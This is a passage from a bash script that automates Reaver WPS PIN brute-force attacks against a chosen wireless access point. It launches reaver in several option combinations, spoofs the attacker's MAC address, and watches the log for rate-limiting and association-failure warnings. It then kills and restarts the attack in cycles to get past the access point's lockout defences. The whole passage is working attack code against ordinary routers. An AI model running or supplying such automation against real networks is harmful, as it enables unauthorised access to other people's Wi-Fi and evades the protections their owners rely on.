done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R6 == n || $USE_R6 == N ]] && [[ $USE_LONG6 == y || $USE_LONG6 == Y ]] && [[ $USE_PIN6 == n || $USE_PIN6 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R6 == y || $USE_R6 == Y ]] && [[ $USE_LONG6 == y || $USE_LONG6 == Y ]] && [[ $USE_PIN6 == n || $USE_PIN6 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX6" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY6"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -r $RX6:$RY6 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R6 == n || $USE_R6 == N ]] && [[ $USE_LONG6 == n || $USE_LONG6 == N ]] && [[ $USE_PIN6 == y || $USE_PIN6 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -vv -x 60  --pin=$WPS_PIN6 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R6 == y || $USE_R6 == Y ]] && [[ $USE_LONG6 == n || $USE_LONG6 == N ]] && [[ $USE_PIN6 == y || $USE_PIN6 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX6" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY6"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -vv -x 60 -r $RX6:$RY6 --pin=$WPS_PIN6 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R6 == n || $USE_R6 == N ]] && [[ $USE_LONG6 == y || $USE_LONG6 == Y ]] && [[ $USE_PIN6 == y || $USE_PIN6 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN6 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

